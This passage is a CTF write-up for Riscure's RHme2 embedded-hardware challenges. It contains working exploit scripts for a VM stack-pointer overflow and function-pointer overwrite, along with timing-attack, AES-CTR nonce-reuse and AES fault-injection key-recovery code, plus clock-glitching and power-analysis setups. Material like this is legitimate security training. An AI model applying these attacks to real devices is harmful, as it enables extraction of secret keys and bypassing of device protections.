│ ldd r13, y+29 │
│ ldd r14, y+30 │
│ ldd r15, y+31 │
│ ldd r30, y+37 │
│ ldd r31, y+38 │
│ add r30, r12 │
│ adc r31, r13 │
│ ldd r11, z+1 │
│ ; Load the VM SP value into r24-r27 │
│ ldd r24, y+24 │
│ ldd r25, y+25 │
│ ldd r26, y+26 │
│ ldd r27, y+27 │
│ ; Vuln is here. SP value is checked before being decremented │
│ cpi r24, 0x01 │
│ ldi r18, 0x01 │
│ cpc r25, r18 │
│ cpc r26, r1 │
│ cpc r27, r1 │
│ brcc 0x1c44 ;[a] │
└──────────────────────────────────────────────────────────────────┘
f t
└────┐─────────────────────────────┐
│ │
│ │
┌─────────────────────────┐ ┌─────────────────────────┐
│ 0x1bf2 ;[e] │ │ 0x1c44 ;[a] │
│ sbiw r24, 0x04 │ │ ldi r24, 0x57 │
│ sbc r26, r1 │ │ ldi r25, 0x03 │
So we can overwrite 4 bytes before the stack in the memory. Looking at the memory references, this memory value is used as a pointer to the beginning of the code region. This value is used by the debugger loader to store new code :
┌────────────────────────────────────────────┐
│ [0xc3e] ;[d] │
│ (fcn) vm_load 112 │
│ ; CALL XREF from 0x00000d7e (debugger) │
│ push r28 │
│ push r29 │
│ movw r28, r24 │
│ ldi r24, 0xc2 │
│ ldi r25, 0x00 │
│ call print_str ;[a] │
│ std y+40, r1 │
│ std y+39, r1 │
│ movw r22, r28 │
│ subi r22, 0xd9 │
│ sbci r23, 0xff │
│ ; Pointer to the code region is here │
│ ldd r24, y+37 │
│ ldd r25, y+38 │
│ call get_hex ;[b] │
│ movw r24, r28 │
│ pop r29 │
│ pop r28 │
│ jmp vm_reset ;[c] │
└────────────────────────────────────────────┘
So, by overwriting this address and loading new code, we'll be able to overwrite any part of the chip RAM using following code sequence :
> rasm2 -a rhme2 -d 04600000056000000400000e120000
movl SP, 0000 ; Set SP to 0
movh SP, 0000
movl r0, 000e
call r0 ; Call somewhere, the pointer will be overwritten by the return address
nop
We now need to find an interesting place to write data.
Using a bruteforce script, I found that address 0x1e5 in RAM is a pointer to the NOP string. Using this information, we can create a memory dumper that uses the debugger to display the contents of the memory instead of the NOP string :
import serial
import hexdump
import re
import struct
r = re.compile(">> 0000: 00 (.*?)[ ]*\|", re.DOTALL)
memdump = ""
ser = serial.Serial('/dev/ttyUSB0', 19200)
ser.read_until("Loader> ")
ser.read_until("Loader> ")
ser.read_until("Loader> ")
ser.write('44\r\n')
ser.read_until("\n>>")
ser.write("l\n")
ser.read_until("Loader> ")
# Overwrite the loader address with 0x1e5
ser.write("043001d7153000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004600000056000000400000e120000")
ser.write("\n")
ser.read_until("\n>>")
ser.write("d\n")
ser.read_until("\n>>")
ser.write("c\n\n")
ser.read_until('[Finished]')
ser.write("\n")
ser.read_until("\n>>")
for i in range(0x1000):
ser.write("l\n")
ser.read_until("Loader> ")
ser.write("00")
# Write the address we want to read
ser.write(struct.pack('<h',i).encode('hex'))
ser.write('\n')
ser.read_until('\n>>')
ser.write('d\n')
data = ser.read_until('\n>>')
try:
print hex(i)
result = r.search(data).group(1)
hexdump.hexdump(result)
if result != "":
memdump += result[0]
else:
memdump += '\x00'
print ""
except:
print "!!!!!ERROR!!!!!"
hexdump.hexdump(data)
print ""
pass
o = open('memory.dmp','w')
o.write(memdump)
o.close()
Inspecting the memory dump created, we find that the string FLAG: is stored in RAM at address 0x700, but there is no flag appended :-(
Could there be a function that copies the flag at this location ? We need to find a way to execute code at an arbitrary location. Thankfully, the VM uses pointers to functions to execute its instructions. We can turn this at our advantage by overwriting a pointer to a string to display the flag at 0x700 and overwriting a function pointer to a sequential address until we get the flag.
This script will do the following :
Overwrite the loader address
- Call the loader again, and overwrite :
- The function pointer of the PUSH instruction (0x01)
- The NOP string pointer to 0x700 where the flag is
Step once in the program using the debugger, so our function pointer is called
- Read the debugger output, which contains NOP and displays the string at
address 0x700
import serial
import hexdump
import struct
import time
memdump = ""
for i in range(0x500, 0x1000):
ser = serial.Serial('/dev/ttyUSB0', 19200)
ser.read_until("Loader> ")
ser.read_until("Loader> ")
ser.read_until("Loader> ")
ser.write('44\r\n')
ser.read_until("\n>>")
ser.write("l\n")
ser.read_until("Loader> ")
ser.write("0430015c153000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004600000056000000400000e120000")
ser.write("\n")
ser.read_until("\n>>")
ser.write("d\n")
ser.read_until("\n>>")
ser.write("c\n\n")
ser.read_until('[Finished]')
ser.write("\n")
ser.read_until("\n>>")
ser.write("l\n")
ser.read_until("Loader> ")
ser.write("01")
ser.write(struct.pack('<h',i).encode('hex')) # function pointer to overwrite
ser.write("00"*121+"6f0141000007") #String pointer to overwrite
ser.write('\n')
ser.read_until('\n>>')
ser.write('d\n')
data = ser.read_until('\n>>')
ser.write('s\n')
time.sleep(0.3)
output = ser.read(ser.inWaiting()).replace('[1;1H','')
if "FLAG" in output:
print hex(i)
print output
print ""
ser.close()
After some time, the flag will be displayed.
Hide & Seek
It looks like I missed something between Weird Machine and this one, as the same exploit script worked for both challenges.
Fault injection
Fiesta
Once connected to the challenge, it displays the string Locked on a loop. It really looks like the same kind of firmware described in this article, so a clock glitching could be the solution.
I removed the crystal, located just below pin D5, and connected the pad to the ChipWhisperer HS-Out.
I then followed the Tutorial A2 on the NewAE wiki and finally configured ChipWhisperer like this with a clock frequency of 16MHz :
Clicking several times on the Manual trigger button shows the flag.
Finetuning
Next step in the clock glitching process, this challenge asks for a password before telling if the device is locked or not.
I used the Teensy to enter a fake password using the UART and turn on a GPIO after sending it. This way I can synchronize the ChipWhisperer and the challenge board. Unfortunately, I didn't save the code for this.
This time, I used the external trigger as the glitch trigger and used the glitch explorer like this :
Running this setup for some time finally displays the flag.
Fiasco
I used the same settings as for Finetuning and got the flag.
Side-Channel Analysis
Piece of SCAke
As the name implies, it's time to do some power analysis. For that, we'll have to measure the current consumption of the chip.
- To do so, I had to modify the challenge board a bit :
- Remove all decoupling capacitors located at the bottom of the board.
- Add a 10Ohm resistor on the 5V pin of the board
- Power the board from the 5V pin instead of the USB port
- Use the Hydrabus to be used as a serial bridge to communicate with the challenge
More info on the way it was soldered on the NewAE Wiki.
From here, I'm able to use the ChipWhisperer MEASURE input to get the current value. I then followed the Tutorial B5 from the NewAE wiki to get the setup working.
Since the example uses raw bytes and the challenge asks for hex-encoded bytes, I modified the code like this :
--- a/software/chipwhisperer/capture/targets/SimpleSerial.py
+++ b/software/chipwhisperer/capture/targets/SimpleSerial.py
@@ -154,6 +154,8 @@ class SimpleSerial(TargetTemplate):
try:
if flushInputBefore:
self.ser.flushInput()
+ print "Sending " + newstr
+ newstr = "e"+newstr.decode('hex')+"\n"
self.ser.write(newstr)
except USBError:
self.dis()
@@ -201,6 +203,8 @@ class SimpleSerial(TargetTemplate):
#Read data from serial port
response = self.ser.read(dataLen, timeout=500)
+ response = response.encode('hex')
+ print "Received " + response
if len(response) < dataLen:
logging.warning('Response length from target shorter than expected (%d<%d): "%s".' % (len(response), dataLen, response))
I also wired pin D13 (LED) from the challenge board to the ChipWhisperer trigger input to synchronize my measurements.
After this change, the rest of the tutorial can be followed blindly, leading to the following encryption key, which is the flag :
Other
Twist Word
Connecting to this challenge displays the following message :
Loading... OK
Please press enter
It then asks for a token code and if wrong, shows the expected value. As it looks like the token is generated using a random number. Since the chip doesn't use a TRNG, a common RNG should be used here. The Loading message at the beginning should be a seed initialization for this PRNG.
The following script resets the board to get a fresh seed, then gets 3 tokens. It keeps all values in memory so as soon as a seed is reused, the next token in the sequence is sent and the flag is displayed.
import serial
import json
inp = open('tokens.json')
TOKENS = json.loads(inp.read())
inp.close()
while True:
ser = serial.Serial('/dev/ttyUSB0', 19200)
ser.read_until(b"Please press enter")
ser.write(b"\r\n")
for x in range(3):
ser.read_until(b"Token: ")
ser.write(b"\r\n")
ser.read_until(b"token: ")
t = ser.read_until(b"\r")
t = t.strip()
if t not in TOKENS:
TOKENS.append(t)
else:
print("Token already seen at position "),
print(TOKENS.index(t))
print("Next one should be "),
print(TOKENS[TOKENS.index(t)+1])
quit()
print(t.decode())
ser.read_until(b"Press enter to retry...")
ser.write(b"\r\n")
print("")
ser.close()
out = open('tokens.json','w')
out.write(json.dumps(TOKENS))
out.close()
For a reason that I cannot understand, it was not possible to directly send the next token with the script, so the script quits after showing the next token. I just had to connect to the board and paste the correct token and the flag appears.
Running this script for several hours finally shows a seed reuse, and the flag is ours.
Secret Sauce
We are asked for a password right after connecting to the challenge :
Welcome to Secure Encryption System(SES)!
Authentication step.
Input provided secret password.
If you lost your password call the customer service.
>a
Checking password...
Password is incorrect!
There might be a timing attack happening after the Checking password... and the incorrect message, let's check it out.
Timing attack
Checking if the password validation is vulnerable to timing attack has been made using a logic analyzer and Sigrok. At first, I didn't find any significant difference across the ASCII space, but I then thought that the validation function could check for input length first, set's see :
For length 1 :
For length 15:
OK, so there's clearly a timing attack here. We can now continue to find the 15 characters of the password using the same method or a script, which leads us to the following password : TImInG@ttAkw0rk.
TRNG and AES-CTR
We can now input some data that will be encrypted using a TRNG :
************************************************
Authentication complete. Welcome to the system!
Now you can encrypt messages up to 32 bytes.
Input data to encrypt:
> a
True Random Nonce: 99560a9fa78c86849689c51513213609
Encryption: fb5ed485b7a777527680c92b9a85d819df41270335f0cc45ede29d5dbd3a211b
So we are facing a True Random Number Generator, which is not implemented in an ATMega328, so there might be a trick to implement this. By looking at the RHME 2015 writeup, we can see that a TRNG solution has been previously implemented using an analog input noise as a source of randomness. Let's try to put all analog inputs to GND and see if our random nonce gets fixed :
> a
66e94bd4ef8a2c3b884cfa59ca342b2e
f1775379f65d58fc28d21dd8385f752e667e840a39510079d45eab4e8075640e
> b
66e94bd4ef8a2c3b884cfa59ca342b2e
f2775379f65d58fc28d21dd8385f752e667e840a39510079d45eab4e8075640e
> c
66e94bd4ef8a2c3b884cfa59ca342b2e
f3775379f65d58fc28d21dd8385f752e667e840a39510079d45eab4e8075640e
After some more checks, we can determine that the pin A3 is the one used by the TRNG.
Googling for the nonce 66e94bd4ef8a2c3b884cfa59ca342b2e shows that this is the result of encrypting a block of 16 null bytes with a 16 byte null key and a null IV :
>>> from Crypto.Cipher import AES
>>> import binascii
>>> o = AES.new(b'\x00'*16, AES.MODE_CBC, b'\x00'*16)
>>> binascii.hexlify(o.encrypt(b'\x00'*16))
b'66e94bd4ef8a2c3b884cfa59ca342b2e'
What we can also see is that the encrypted blob only changes by one byte and that there are leftover bytes at the end of the encrypted blob. The flag should be appended to the input data. AES-CTR is a common mode used to encrypt a data flow and uses the secret key and a nonce to generate a stream of bytes that can be XORed to the cleartext to produce a secure encrypted stream. However, such mode relies on the fact that the nonce is used once, which is not the case here anymore.
In order to retrieve the flag, we have to encrypt 32 null bytes to get the XOR stream and XOR it with our initial encrypted stream. This python script does just that :
import serial
ser = serial.Serial('/dev/ttyUSB0', 19200)
ser.read_until(">")
ser.write("TImInG@ttAkw0rk\r")
ser.read_until(">")
ser.write("\r")
ser.read_until(">")
ser.write("\r")
ser.read_until("Encryption:\t")
ciphertext = ser.read_until("\n")[:-1]
print "Ciphertext: ", ciphertext
ser.write("\x00"*32)
ser.write("\r")
ser.read_until("Encryption:\t")
xorkey = ser.read_until("\n")[:-1]
ser.close()
ciphertext = ciphertext.decode('hex')
xorkey = xorkey.decode('hex')
flag = ''
for i in range(len(ciphertext)):
flag += chr(ord(xorkey[i])^ord(ciphertext[i]))
print "FLAG:"+flag.encode('hex')
Emergency Transmitter
This challenge allows to send 16 bytes, then flashes the LED several times. We are instructed to retrieve the encryption key.
Reading the LED
As the LED flashes quickly, we can use a logic analyzer to see the LED pattern more clearly :
It looks like Morse code, So I wrote a simple script to interact with the challenge. It uses the excellent Sigrok application to get the data from the logic analyzer channel 0 (connected to the challenge board pin D13), convert the points to Morse "." and "-", decode the Morse code and display it to the user :
import serial
import subprocess
morseAlphabet ={
"A" : ".-",
"B" : "-...",
"C" : "-.-.",
"D" : "-..",
"E" : ".",
"F" : "..-.",
"G" : "--.",
"H" : "....",
"I" : "..",
"J" : ".---",
"K" : "-.-",
"L" : ".-..",
"M" : "--",
"N" : "-.",
"O" : "---",
"P" : ".--.",
"Q" : "--.-",
"R" : ".-.",
"S" : "...",
"T" : "-",
"U" : "..-",
"V" : "...-",
"W" : ".--",
"X" : "-..-",
"Y" : "-.--",
"Z" : "--..",
" " : "/",
"0" : "-----",
"1" : ".----",
"2" : "..---",
"3" : "...--",
"4" : "....-",
"5" : ".....",
"6" : "-....",
"7" : "--...",
"8" : "---..",
"9" : "----.",
"=" : "-...-",
"!" : "---."
}
inverseMorseAlphabet=dict((v,k) for (k,v) in morseAlphabet.items())
def decodemorse(inp):
cur = inp[0]
cpt = 0
if len(inp)<1200000:
raise ValueError
stream = []
for i in range(0, len(inp), 2):
old = cur
cur = inp[i]
if old == cur:
cpt +=1
else:
stream.append(cpt/100)
cpt = 0
morse = ""
for v in stream:
if v == 8:
morse += '.'
elif v== 24:
morse += '-'
elif v==41 or v==418:
morse += " "
elif v==16:
pass
else:
raise ValueError
return ''.join([inverseMorseAlphabet[x] for x in morse.split(' ')])
ser = serial.Serial('/dev/ttyUSB0', 19200)
ser.read_until(">>")
ser.write("\n")
ser.read_until(">")
while True:
success = False
while success == False:
n = raw_input("message : ")
p = subprocess.Popen("sigrok-cli -d saleae-logic16 --time 1200 -C 0 -O binary -t 0=1".split(' '), stdout=subprocess.PIPE, stderr=None)
m = n + "\n"
ser.write(m)
try:
out = decodemorse(p.stdout.read(1200000))
print out
except Exception, e:
pass
p.kill()
ser.read_until(">")
ser.close()
A sample output will be like this :
message: AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA 3FD24587662318EF606417C799157120
AES fault injection
Once able to easily interact with the challenge, I found out that if you input data during the computation, the value of the result changes slightly.
A possible explanation for this behavior is that the data input is managed by an interrupt on the chip, and pressing the enter key basically copies the input buffer to the buffer used for the encryption. It is therefore possible to inject data during the encryption process. One attack (described here) uses a fault injection during the last round of the AES encryption. If we can manage to set a byte to a known value just before the last AddRoundKey, we would be able to retrieve the last RoundKey value for that particular byte.
I modified the previous script to implement such attack :
import serial
import time
import subprocess
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
def disable(self):
self.HEADER = ''
self.OKBLUE = ''
self.OKGREEN = ''
self.WARNING = ''
self.FAIL = ''
self.ENDC = ''
morseAlphabet ={
"A" : ".-",
"B" : "-...",
"C" : "-.-.",
"D" : "-..",
"E" : ".",
"F" : "..-.",
"G" : "--.",
"H" : "....",
"I" : "..",
"J" : ".---",
"K" : "-.-",
"L" : ".-..",
"M" : "--",
"N" : "-.",
"O" : "---",
"P" : ".--.",
"Q" : "--.-",
"R" : ".-.",
"S" : "...",
"T" : "-",
"U" : "..-",
"V" : "...-",
"W" : ".--",
"X" : "-..-",
"Y" : "-.--",
"Z" : "--..",
" " : "/",
"0" : "-----",
"1" : ".----",
"2" : "..---",
"3" : "...--",
"4" : "....-",
"5" : ".....",
"6" : "-....",
"7" : "--...",
"8" : "---..",
"9" : "----.",
"=" : "-...-",
"!" : "---."
}
inverseMorseAlphabet=dict((v,k) for (k,v) in morseAlphabet.items())
def decodemorse(inp):
cur = inp[0]
cpt = 0
if len(inp)<1200000:
raise ValueError
stream = []
for i in range(0, len(inp), 2):
old = cur
cur = inp[i]
if old == cur:
cpt +=1
else:
stream.append(cpt/100)
cpt = 0
morse = ""
for v in stream:
if v == 8:
morse += '.'
elif v== 24:
morse += '-'
elif v==41 or v==418:
morse += " "
elif v==16:
pass
else:
raise ValueError
return ''.join([inverseMorseAlphabet[x] for x in morse.split(' ')])
ser = serial.Serial('/dev/ttyUSB0', 19200)
ser.read_until(">>")
ser.write("\n")
ser.read_until(">")
j=15
CORRECT = "3FD24587662318EF606417C799157120".decode('hex')
while True:
success = False
t = 0.029
j = j+1
while success == False:
#n = raw_input("message : ")
n = "A"*16
p = subprocess.Popen("sigrok-cli -d saleae-logic16 --time 1200 -C 0 -O binary -t 0=1".split(' '), stdout=subprocess.PIPE, stderr=None)
m = n + "\n"
ser.write(m)
time.sleep(t)
ser.write("\x00"*j+"\n")
try:
out = decodemorse(p.stdout.read(1200000))
outb = out.decode('hex')
print j,
print("%.5f" % t),
for i in range(16):
if outb[i] == '\x00':
print bcolors.FAIL + outb[i].encode('hex') + bcolors.ENDC,
elif outb[i] != CORRECT[i]:
print bcolors.WARNING + outb[i].encode('hex') + bcolors.ENDC,
else:
print outb[i].encode('hex'),
if outb == CORRECT:
print "CORRECT"
success=True
else:
print "FALSE"
t = t+0.0001
except Exception, e:
pass
p.kill()
ser.read_until(">")
ser.close()
Here, the same input is sent, and 16 bytes of NULL bytes are injected at different timings. Once a result byte is equal to 0x00, that would mean that we overwrote too late, so the preceding value should be the Roundkey value (since XORing with 0x00 gives the initial value).
Here, the yellow values are different from the expected output, and the null bytes are red.
Running the script several times and writing down the values before the null byte give us the last RoundKey. Unfortunately, I wasn't able to retrieve the last bytes of the Roundkey. I coded a small tool that retrieves the corresponding AES key from the Roundkey and bruteforces the last two bytes :
#include <stdint.h>
#include <stdio.h>
/* From https://github.com/cmcqueen/aes-min/blob/master/aes-otfks-decrypt.c */
#define AES128_KEY_SIZE 16
#define AES_KEY_SCHEDULE_WORD_SIZE 4u
static const uint8_t aes_sbox_table[256u] =
{
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16
};
uint8_t aes_sbox(uint8_t a)
{
return aes_sbox_table[a];
}
static void aes128_key_schedule_inv_round(uint8_t p_key[AES128_KEY_SIZE], uint8_t rcon)
{
uint_fast8_t round;
uint8_t * p_key_0 = p_key + AES128_KEY_SIZE - AES_KEY_SCHEDULE_WORD_SIZE;
uint8_t * p_key_m1 = p_key_0 - AES_KEY_SCHEDULE_WORD_SIZE;
for (round = 1; round < AES128_KEY_SIZE / AES_KEY_SCHEDULE_WORD_SIZE; ++round)
{
/* XOR in previous word */
p_key_0[0] ^= p_key_m1[0];
p_key_0[1] ^= p_key_m1[1];
p_key_0[2] ^= p_key_m1[2];
p_key_0[3] ^= p_key_m1[3];
p_key_0 = p_key_m1;
p_key_m1 -= AES_KEY_SCHEDULE_WORD_SIZE;
}
/* Rotate previous word and apply S-box. Also XOR Rcon for first byte. */
p_key_m1 = p_key + AES128_KEY_SIZE - AES_KEY_SCHEDULE_WORD_SIZE;
p_key_0[0] ^= aes_sbox(p_key_m1[1]) ^ rcon;
p_key_0[1] ^= aes_sbox(p_key_m1[2]);
p_key_0[2] ^= aes_sbox(p_key_m1[3]);
p_key_0[3] ^= aes_sbox(p_key_m1[0]);
}
void main()
{
uint32_t a,b;
uint8_t rcons[] = {54, 27, 128, 64, 32, 16, 8, 4, 2, 1};
for (a=0; a<256; a++) {
for (b=0; b<256; b++) {
uint8_t round[] = {0x8b, 0x4a, 0xf3, 0xd1, 0x65, 0x60, 0x1f, 0x09, 0xa4, 0x2f, 0xa1, 0xb0, 0xca, 0x06, 0xd8, 0xe7};
round[14] = a;
round[15] = b;
for(uint8_t i=0; i<10; i++){
aes128_key_schedule_inv_round(round, rcons[i]);
}
for (uint8_t i=0; i<AES128_KEY_SIZE; i++) {
printf("%02X", round[i]);
}
printf("\r\n");
}
}
}
All the key candidates were tested against the test input, and the key (and flag) can be found :
GOOD = "3FD24587662318EF606417C799157120".decode('hex')
data = open('/tmp/candidates').readlines()
for c in data:
obj = AES.new(c.strip().decode('hex'), AES.MODE_CBC, '\x00'*16)
m = obj.encrypt("A"*16)
if m == GOOD:
print c
Whack a mole
As the name says, the purpose of this challenge is to send a logical "1" to the correct pin of the board depending on the number of flashes from the LED. The pin order is randomized at each reboot, so first step is to find which pin corresponds to each number on the LED (from 1 to 6). I used a Teensy and connected port 1 to D13 on the board (LED), then ports 2 to 7 to the corresponding inputs on the board.
Since the time window to send the logical 1 to the input is smaller after each step, I had to change my code from polling mode to an interrupt-based one. Fortunately , it was possible to send inputs while the LED is flashing, so the code is really simple :
int p = 0;
int since = 0;
void plop() {
if((millis()>since+110)){
Serial.write(p+48);
Serial.write(" ");
p=0;
}
since=millis();
p+=1;
p2(p);
}
void p2(int i) {
for(int j=2; j<8; j++) {
digitalWrite(j, LOW);
}
switch(i) {
case 1:
digitalWrite(2, HIGH);
break;
case 2:
digitalWrite(3, HIGH);
break;
case 3:
digitalWrite(4, HIGH);
break;
case 4:
digitalWrite(5, HIGH);
break;
case 5:
digitalWrite(6, HIGH);
break;
case 6:
digitalWrite(7, HIGH);
break;
}
}
void setup() {
delay(500);
Serial.begin(9600);
pinMode(1, INPUT);
attachInterrupt(digitalPinToInterrupt(1), plop, RISING);
pinMode(2, OUTPUT);
pinMode(3, OUTPUT);
pinMode(4, OUTPUT);
pinMode(5, OUTPUT);
pinMode(6, OUTPUT);
pinMode(7, OUTPUT);
digitalWrite(2, LOW);
digitalWrite(3, LOW);
digitalWrite(4, LOW);
digitalWrite(5, LOW);
digitalWrite(6, LOW);
digitalWrite(7, LOW);
}
void loop() {
int i=0;
int cpt=0;
}
Running this sketch on the Teensy and monitoring the output of the challenge board displays the flag.
Conclusions
I had a great time playing this CTF, and did learn a lot in various fields (especially in crypto). The Riscure team did an amazing job creating all these challenges, and did wonderful things on a simple 8 bit AVR MCU. The challenges were really interesting and well balanced across different categories.
On the downsides, I'd mention the fact that for some challenges, you had to modify the board, with the risk of destroying it in the process (fails happen sometimes), so it prevented me to try some challenges until late in the CTF. It would be nice to have the possibility to use a standard board or at least get another one. I'd have paid for that if it was possible, it would still be better than having to stop because of a soldering mistake.
If you missed it this year, I would strongly recommend you to watch for the next edition.